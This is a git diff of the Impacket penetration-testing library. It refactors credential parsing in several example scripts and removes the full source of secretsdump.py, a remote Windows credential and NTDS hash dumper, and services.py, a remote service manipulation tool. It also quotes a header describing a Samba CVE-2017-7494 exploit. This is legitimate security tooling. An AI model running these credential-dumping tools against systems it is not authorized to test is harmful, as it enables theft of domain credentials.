Authors: -# Catalin Patulea -# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) +# Catalin Patulea +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # # TODO: # [ ] The rpcmap.py connections are never closed. We need to close them. @@ -34,6 +37,7 @@ from impacket.http import AUTH_BASIC from impacket.examples import logger, rpcdatabase +from impacket.examples.utils import parse_credentials from impacket import uuid, version from impacket.dcerpc.v5.epm import KNOWN_UUIDS from impacket.dcerpc.v5 import transport, rpcrt, epm @@ -46,6 +50,7 @@ RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ RPC_PROXY_RPC_OUT_DATA_404_ERR + class RPCMap(): def __init__(self, stringbinding='', authLevel=6, bruteUUIDs=False, uuids=(), bruteOpnums=False, opnumMax=64, bruteVersions=False, versionMax=64): @@ -323,8 +328,8 @@ def _split_lines(self, text, width): else: logging.getLogger().setLevel(logging.INFO) - rpcdomain, rpcuser, rpcpass = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(options.auth_rpc).groups('') - transportdomain, transportuser, transportpass = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(options.auth_transport).groups('') + rpcdomain, rpcuser, rpcpass = parse_credentials(options.auth_rpc) + transportdomain, transportuser, transportpass = parse_credentials(options.auth_transport) if options.brute_opnums and options.brute_versions: logging.error("Specify only -brute-opnums or -brute-versions") diff --git a/examples/sambaPipe.py b/examples/sambaPipe.py index 2e83a26815..577ef29835 100755 --- a/examples/sambaPipe.py +++ b/examples/sambaPipe.py @@ -1,14 +1,12 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# -# Author: -# beto (@agsolino) -# # Description: # This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through # the -so parameter. @@ -27,6 +25,8 @@ # # Same as before, but anonymous authentication will be used. # +# Author: +# beto (@agsolino) # import argparse @@ -36,6 +36,7 @@ from impacket import version from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket.nt_errors import STATUS_SUCCESS from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE @@ -243,15 +244,7 @@ def run(self): else: logging.getLogger().setLevel(logging.INFO) - import re - - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - # In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + domain, username, password, address = parse_target(options.target) if options.target_ip is None: options.target_ip = address diff --git a/examples/samrdump.py b/examples/samrdump.py index f96a6d3bec..013e9f7601 100755 --- a/examples/samrdump.py +++ b/examples/samrdump.py @@ -1,18 +1,23 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: DCE/RPC SAMR dumper. +# Description: +# DCE/RPC SAMR dumper. # # Author: -# Javier Kohen -# Alberto Solino (@agsolino) +# Javier Kohen +# Alberto Solino (@agsolino) # # Reference for: -# DCE/RPC for SAMR +# DCE/RPC for SAMR +# + from __future__ import division from __future__ import print_function import sys @@ -22,6 +27,7 @@ from datetime import datetime from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket import version from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.dcerpc.v5 import transport, samr @@ -237,16 +243,8 @@ def __fetchList(self, rpctransport): else: logging.getLogger().setLevel(logging.INFO) - import re - - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') + domain, username, password, remoteName = parse_target(options.target) - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] - if domain is None: domain = '' diff --git a/examples/secretsdump.py b/examples/secretsdump.py deleted file mode 100755 index b5777f7f89..0000000000 --- a/examples/secretsdump.py +++ /dev/null @@ -1,408 +0,0 @@ -#!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: Performs various techniques to dump hashes from the -# remote machine without executing any agent there. -# For SAM and LSA Secrets (including cached creds) -# we try to read as much as we can from the registry -# and then we save the hives in the target system -# (%SYSTEMROOT%\\Temp dir) and read the rest of the -# data from there. -# For NTDS.dit we either: -# a. Get the domain users list and get its hashes -# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() -# call, replicating just the attributes we need. -# b. Extract NTDS.dit via vssadmin executed with the -# smbexec approach. -# It's copied on the temp dir and parsed remotely. -# -# The script initiates the services required for its working -# if they are not available (e.g. Remote Registry, even if it is -# disabled). After the work is done, things are restored to the -# original state. -# -# Author: -# Alberto Solino (@agsolino) -# -# References: Most of the work done by these guys. I just put all -# the pieces together, plus some extra magic. -# -# https://github.com/gentilkiwi/kekeo/tree/master/dcsync -# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html -# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html -# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html -# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 -# https://code.google.com/p/creddump/ -# https://lab.mediaservice.net/code/cachedump.rb -# https://insecurety.net/?p=768 -# http://www.beginningtoseethelight.org/ntsecurity/index.htm -# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf -# https://www.passcape.com/index.php?section=blog&cmd=details&id=15 -# -from __future__ import division -from __future__ import print_function -import argparse -import codecs -import logging -import os -import sys - -from impacket import version -from impacket.examples import logger -from impacket.smbconnection import SMBConnection - -from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes -from impacket.krb5.keytab import Keytab -try: - input = raw_input -except NameError: - pass - -class DumpSecrets: - def __init__(self, remoteName, username='', password='', domain='', options=None): - self.__useVSSMethod = options.use_vss - self.__remoteName = remoteName - self.__remoteHost = options.target_ip - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = options.aesKey - self.__smbConnection = None - self.__remoteOps = None - self.__SAMHashes = None - self.__NTDSHashes = None - self.__LSASecrets = None - self.__systemHive = options.system - self.__bootkey = options.bootkey - self.__securityHive = options.security - self.__samHive = options.sam - self.__ntdsFile = options.ntds - self.__history = options.history - self.__noLMHash = True - self.__isRemote = True - self.__outputFileName = options.outputfile - self.__doKerberos = options.k - self.__justDC = options.just_dc - self.__justDCNTLM = options.just_dc_ntlm - self.__justUser = options.just_dc_user - self.__pwdLastSet = options.pwd_last_set - self.__printUserStatus= options.user_status - self.__resumeFileName = options.resumefile - self.__canProcessSAMLSA = True - self.__kdcHost = options.dc_ip - self.__options = options - - if options.hashes is not None: - self.__lmhash, self.__nthash = options.hashes.split(':') - - def connect(self): - self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) - if self.__doKerberos: - self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, self.__aesKey, self.__kdcHost) - else: - self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - - def dump(self): - try: - if self.__remoteName.upper() == 'LOCAL' and self.__username == '': - self.__isRemote = False - self.__useVSSMethod = True - if self.__systemHive: - localOperations = LocalOperations(self.__systemHive) - bootKey = localOperations.getBootKey() - if self.__ntdsFile is not None: - # Let's grab target's configuration about LM Hashes storage - self.__noLMHash = localOperations.checkNoLMHashPolicy() - else: - import binascii - bootKey = binascii.unhexlify(self.__bootkey) - - else: - self.__isRemote = True - bootKey = None - try: - try: - self.connect() - except Exception as e: - if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: - # SMBConnection failed. That might be because there was no way to log into the - # target system. We just have a last resort. Hope we have tickets cached and that they - # will work - logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) - pass - else: - raise - - self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) - self.__remoteOps.setExecMethod(self.__options.exec_method) - if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: - self.__remoteOps.enableRegistry() - bootKey = self.__remoteOps.getBootKey() - # Let's check whether target system stores LM Hashes - self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() - except Exception as e: - self.__canProcessSAMLSA = False - if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ - and self.__doKerberos is True: - # Giving some hints here when SPN target name validation is set to something different to Off - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ - logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') - else: - logging.error('RemoteOperations failed: %s' % str(e)) - - # If RemoteOperations succeeded, then we can extract SAM and LSA - if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: - try: - if self.__isRemote is True: - SAMFileName = self.__remoteOps.saveSAM() - else: - SAMFileName = self.__samHive - - self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) - self.__SAMHashes.dump() - if self.__outputFileName is not None: - self.__SAMHashes.export(self.__outputFileName) - except Exception as e: - logging.error('SAM hashes extraction failed: %s' % str(e)) - - try: - if self.__isRemote is True: - SECURITYFileName = self.__remoteOps.saveSECURITY() - else: - SECURITYFileName = self.__securityHive - - self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, - isRemote=self.__isRemote, history=self.__history) - self.__LSASecrets.dumpCachedHashes() - if self.__outputFileName is not None: - self.__LSASecrets.exportCached(self.__outputFileName) - self.__LSASecrets.dumpSecrets() - if self.__outputFileName is not None: - self.__LSASecrets.exportSecrets(self.__outputFileName) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error('LSA hashes extraction failed: %s' % str(e)) - - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work - if self.__isRemote is True: - if self.__useVSSMethod and self.__remoteOps is not None: - NTDSFileName = self.__remoteOps.saveNTDS() - else: - NTDSFileName = None - else: - NTDSFileName = self.__ntdsFile - - self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, - noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, - useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, - pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, - outputFileName=self.__outputFileName, justUser=self.__justUser, - printUserStatus= self.__printUserStatus) - try: - self.__NTDSHashes.dump() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: - # We don't store the resume file if this error happened, since this error is related to lack - # of enough privileges to access DRSUAPI. - resumeFile = self.__NTDSHashes.getResumeSessionFile() - if resumeFile is not None: - os.unlink(resumeFile) - logging.error(e) - if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: - logging.info("You just got that error because there might be some duplicates of the same name. " - "Try specifying the domain name for the user as well. It is important to specify it " - "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") - elif self.__useVSSMethod is False: - logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') - self.cleanup() - except (Exception, KeyboardInterrupt) as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(e) - if self.__NTDSHashes is not None: - if isinstance(e, KeyboardInterrupt): - while True: - answer = input("Delete resume session file? [y/N] ") - if answer.upper() == '': - answer = 'N' - break - elif answer.upper() == 'Y': - answer = 'Y' - break - elif answer.upper() == 'N': - answer = 'N' - break - if answer == 'Y': - resumeFile = self.__NTDSHashes.getResumeSessionFile() - if resumeFile is not None: - os.unlink(resumeFile) - try: - self.cleanup() - except: - pass - - def cleanup(self): - logging.info('Cleaning up... ') - if self.__remoteOps: - self.__remoteOps.finish() - if self.__SAMHashes: - self.__SAMHashes.finish() - if self.__LSASecrets: - self.__LSASecrets.finish() - if self.__NTDSHashes: - self.__NTDSHashes.finish() - - -# Process command-line arguments. -if __name__ == '__main__': - # Explicitly changing the stdout encoding format - if sys.stdout.encoding is None: - # Output is redirected to a file - sys.stdout = codecs.getwriter('utf8')(sys.stdout) - - print(version.BANNER) - - parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from " - "the remote machine without executing any agent there.") - - parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' - ' (if you want to parse local files)') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-system', action='store', help='SYSTEM hive to parse') - parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive') - parser.add_argument('-security', action='store', help='SECURITY hive to parse') - parser.add_argument('-sam', action='store', help='SAM hive to parse') - parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') - parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' - 'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' - 'state') - parser.add_argument('-outputfile', action='store', - help='base output filename. Extensions will be added for sam, secrets, cached and ntds') - parser.add_argument('-use-vss', action='store_true', default=False, - help='Use the VSS method insead of default DRSUAPI') - parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' - 'method to use at target (only when using -use-vss). Default: smbexec') - group = parser.add_argument_group('display options') - group.add_argument('-just-dc-user', action='store', metavar='USERNAME', - help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' - 'Implies also -just-dc switch') - group.add_argument('-just-dc', action='store_true', default=False, - help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') - group.add_argument('-just-dc-ntlm', action='store_true', default=False, - help='Extract only NTDS.DIT data (NTLM hashes only)') - group.add_argument('-pwd-last-set', action='store_true', default=False, - help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') - group.add_argument('-user-status', action='store_true', default=False, - help='Display whether or not the user is disabled') - group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') - group = parser.add_argument_group('authentication') - - group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' - ' the ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' - ' (128 or 256 bits)') - group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') - group = parser.add_argument_group('connection') - group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') - group.add_argument('-target-ip', action='store', metavar="ip address", - help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' - 'This is useful when target is the NetBIOS name and you cannot resolve it') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - - options = parser.parse_args() - - # Init the example's logger theme - logger.init(options.ts) - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - - import re - - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] - - if options.just_dc_user is not None: - if options.use_vss is True: - logging.error('-just-dc-user switch is not supported in VSS mode') - sys.exit(1) - elif options.resumefile is not None: - logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch') - sys.exit(1) - elif remoteName.upper() == 'LOCAL' and username == '': - logging.error('-just-dc-user not compatible in LOCAL mode') - sys.exit(1) - else: - # Having this switch on implies not asking for anything else. - options.just_dc = True - - if options.use_vss is True and options.resumefile is not None: - logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') - sys.exit(1) - - if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None: - logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') - sys.exit(1) - - if remoteName.upper() == 'LOCAL' and username == '': - if options.system is None and options.bootkey is None: - logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help') - sys.exit(1) - else: - - if options.target_ip is None: - options.target_ip = remoteName - - if domain is None: - domain = '' - - if options.keytab is not None: - Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) - options.k = True - - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass - - password = getpass("Password:") - - if options.aesKey is not None: - options.k = True - - dumper = DumpSecrets(remoteName, username, password, domain, options) - try: - dumper.dump() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(e) diff --git a/examples/services.py b/examples/services.py deleted file mode 100755 index 1bf5b44505..0000000000 --- a/examples/services.py +++ /dev/null @@ -1,362 +0,0 @@ -#!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# [MS-SCMR] services common functions for manipulating services -# -# Author: -# Alberto Solino (@agsolino) -# -# Reference for: -# DCE/RPC. -# TODO: -# [ ] Check errors -from __future__ import division -from __future__ import print_function -import sys -import argparse -import logging -import codecs - -from impacket.examples import logger -from impacket import version -from impacket.dcerpc.v5 import transport, scmr -from impacket.dcerpc.v5.ndr import NULL -from impacket.crypto import encryptSecret - - -class SVCCTL: - - def __init__(self, username, password, domain, options, port=445): - self.__username = username - self.__password = password - self.__options = options - self.__port = port - self.__action = options.action.upper() - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = options.aesKey - self.__doKerberos = options.k - self.__kdcHost = options.dc_ip - - if options.hashes is not None: - self.__lmhash, self.__nthash = options.hashes.split(':') - - def run(self, remoteName, remoteHost): - - stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName - logging.debug('StringBinding %s'%stringbinding) - rpctransport = transport.DCERPCTransportFactory(stringbinding) - rpctransport.set_dport(self.__port) - rpctransport.setRemoteHost(remoteHost) - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) - - rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) - self.doStuff(rpctransport) - - def doStuff(self, rpctransport): - dce = rpctransport.get_dce_rpc() - #dce.set_credentials(self.__username, self.__password) - dce.connect() - #dce.set_max_fragment_size(1) - #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) - #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) - dce.bind(scmr.MSRPC_UUID_SCMR) - #rpc = svcctl.DCERPCSvcCtl(dce) - rpc = dce - ans = scmr.hROpenSCManagerW(rpc) - scManagerHandle = ans['lpScHandle'] - if self.__action != 'LIST' and self.__action != 'CREATE': - ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00') - serviceHandle = ans['lpServiceHandle'] - - if self.__action == 'START': - logging.info("Starting service %s" % self.__options.name) - scmr.hRStartServiceW(rpc, serviceHandle) - scmr.hRCloseServiceHandle(rpc, serviceHandle) - elif self.__action == 'STOP': - logging.info("Stopping service %s" % self.__options.name) - scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) - scmr.hRCloseServiceHandle(rpc, serviceHandle) - elif self.__action == 'DELETE': - logging.info("Deleting service %s" % self.__options.name) - scmr.hRDeleteService(rpc, serviceHandle) - scmr.hRCloseServiceHandle(rpc, serviceHandle) - elif self.__action == 'CONFIG': - logging.info("Querying service config for %s" % self.__options.name) - resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) - print("TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'], end=' ') - if resp['lpServiceConfig']['dwServiceType'] & 0x1: - print("SERVICE_KERNEL_DRIVER ", end=' ') - if resp['lpServiceConfig']['dwServiceType'] & 0x2: - print("SERVICE_FILE_SYSTEM_DRIVER ", end=' ') - if resp['lpServiceConfig']['dwServiceType'] & 0x10: - print("SERVICE_WIN32_OWN_PROCESS ", end=' ') - if resp['lpServiceConfig']['dwServiceType'] & 0x20: - print("SERVICE_WIN32_SHARE_PROCESS ", end=' ') - if resp['lpServiceConfig']['dwServiceType'] & 0x100: - print("SERVICE_INTERACTIVE_PROCESS ", end=' ') - print("") - print("START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'], end=' ') - if resp['lpServiceConfig']['dwStartType'] == 0x0: - print("BOOT START") - elif resp['lpServiceConfig']['dwStartType'] == 0x1: - print("SYSTEM START") - elif resp['lpServiceConfig']['dwStartType'] == 0x2: - print("AUTO START") - elif resp['lpServiceConfig']['dwStartType'] == 0x3: - print("DEMAND START") - elif resp['lpServiceConfig']['dwStartType'] == 0x4: - print("DISABLED") - else: - print("UNKNOWN") - - print("ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'], end=' ') - if resp['lpServiceConfig']['dwErrorControl'] == 0x0: - print("IGNORE") - elif resp['lpServiceConfig']['dwErrorControl'] == 0x1: - print("NORMAL") - elif resp['lpServiceConfig']['dwErrorControl'] == 0x2: - print("SEVERE") - elif resp['lpServiceConfig']['dwErrorControl'] == 0x3: - print("CRITICAL") - else: - print("UNKNOWN") - print("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]) - print("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]) - print("TAG : %d" % resp['lpServiceConfig']['dwTagId']) - print("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]) - print("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]) - print("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]) - elif self.__action == 'STATUS': - print("Querying status for %s" % self.__options.name) - resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) - print("%30s - " % self.__options.name, end=' ') - state = resp['lpServiceStatus']['dwCurrentState'] - if state == scmr.SERVICE_CONTINUE_PENDING: - print("CONTINUE PENDING") - elif state == scmr.SERVICE_PAUSE_PENDING: - print("PAUSE PENDING") - elif state == scmr.SERVICE_PAUSED: - print("PAUSED") - elif state == scmr.SERVICE_RUNNING: - print("RUNNING") - elif state == scmr.SERVICE_START_PENDING: - print("START PENDING") - elif state == scmr.SERVICE_STOP_PENDING: - print("STOP PENDING") - elif state == scmr.SERVICE_STOPPED: - print("STOPPED") - else: - print("UNKNOWN") - elif self.__action == 'LIST': - logging.info("Listing services available on target") - #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) - #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) - #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) - resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle) - for i in range(len(resp)): - print("%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), end=' ') - state = resp[i]['ServiceStatus']['dwCurrentState'] - if state == scmr.SERVICE_CONTINUE_PENDING: - print("CONTINUE PENDING") - elif state == scmr.SERVICE_PAUSE_PENDING: - print("PAUSE PENDING") - elif state == scmr.SERVICE_PAUSED: - print("PAUSED") - elif state == scmr.SERVICE_RUNNING: - print("RUNNING") - elif state == scmr.SERVICE_START_PENDING: - print("START PENDING") - elif state == scmr.SERVICE_STOP_PENDING: - print("STOP PENDING") - elif state == scmr.SERVICE_STOPPED: - print("STOPPED") - else: - print("UNKNOWN") - print("Total Services: %d" % len(resp)) - elif self.__action == 'CREATE': - logging.info("Creating service %s" % self.__options.name) - scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00', - lpBinaryPathName=self.__options.path + '\x00') - elif self.__action == 'CHANGE': - logging.info("Changing service config for %s" % self.__options.name) - if self.__options.start_type is not None: - start_type = int(self.__options.start_type) - else: - start_type = scmr.SERVICE_NO_CHANGE - if self.__options.service_type is not None: - service_type = int(self.__options.service_type) - else: - service_type = scmr.SERVICE_NO_CHANGE - - if self.__options.display is not None: - display = self.__options.display + '\x00' - else: - display = NULL - - if self.__options.path is not None: - path = self.__options.path + '\x00' - else: - path = NULL - - if self.__options.start_name is not None: - start_name = self.__options.start_name + '\x00' - else: - start_name = NULL - - if self.__options.password is not None: - s = rpctransport.get_smb_connection() - key = s.getSessionKey() - try: - password = (self.__options.password+'\x00').encode('utf-16le') - except UnicodeDecodeError: - import sys - password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le') - password = encryptSecret(key, password) - else: - password = NULL - - - #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password) - scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, - NULL, NULL, NULL, 0, start_name, password, 0, display) - scmr.hRCloseServiceHandle(rpc, serviceHandle) - else: - logging.error("Unknown action %s" % self.__action) - - scmr.hRCloseServiceHandle(rpc, scManagerHandle) - - dce.disconnect() - - return - - -# Process command-line arguments. -if __name__ == '__main__': - - # Init the example's logger theme - logger.init() - # Explicitly changing the stdout encoding format - if sys.stdout.encoding is None: - # Output is redirected to a file - sys.stdout = codecs.getwriter('utf8')(sys.stdout) - print(version.BANNER) - - parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.") - - parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - subparsers = parser.add_subparsers(help='actions', dest='action') - - # A start command - start_parser = subparsers.add_parser('start', help='starts the service') - start_parser.add_argument('-name', action='store', required=True, help='service name') - - # A stop command - stop_parser = subparsers.add_parser('stop', help='stops the service') - stop_parser.add_argument('-name', action='store', required=True, help='service name') - - # A delete command - delete_parser = subparsers.add_parser('delete', help='deletes the service') - delete_parser.add_argument('-name', action='store', required=True, help='service name') - - # A status command - status_parser = subparsers.add_parser('status', help='returns service status') - status_parser.add_argument('-name', action='store', required=True, help='service name') - - # A config command - config_parser = subparsers.add_parser('config', help='returns service configuration') - config_parser.add_argument('-name', action='store', required=True, help='service name') - - # A list command - list_parser = subparsers.add_parser('list', help='list available services') - - # A create command - create_parser = subparsers.add_parser('create', help='create a service') - create_parser.add_argument('-name', action='store', required=True, help='service name') - create_parser.add_argument('-display', action='store', required=True, help='display name') - create_parser.add_argument('-path', action='store', required=True, help='binary path') - - # A change command - create_parser = subparsers.add_parser('change', help='change a service configuration') - create_parser.add_argument('-name', action='store', required=True, help='service name') - create_parser.add_argument('-display', action='store', required=False, help='display name') - create_parser.add_argument('-path', action='store', required=False, help='binary path') - create_parser.add_argument('-service_type', action='store', required=False, help='service type') - create_parser.add_argument('-start_type', action='store', required=False, help='service start type') - create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of ' - 'the account under which the service should run') - create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of ' - 'the account whose name was specified by the start_name parameter') - - group = parser.add_argument_group('authentication') - - group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - - group = parser.add_argument_group('connection') - - group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') - group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' - 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' - 'name and you cannot resolve it') - group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", - help='Destination port to connect to SMB Server') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - - options = parser.parse_args() - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - 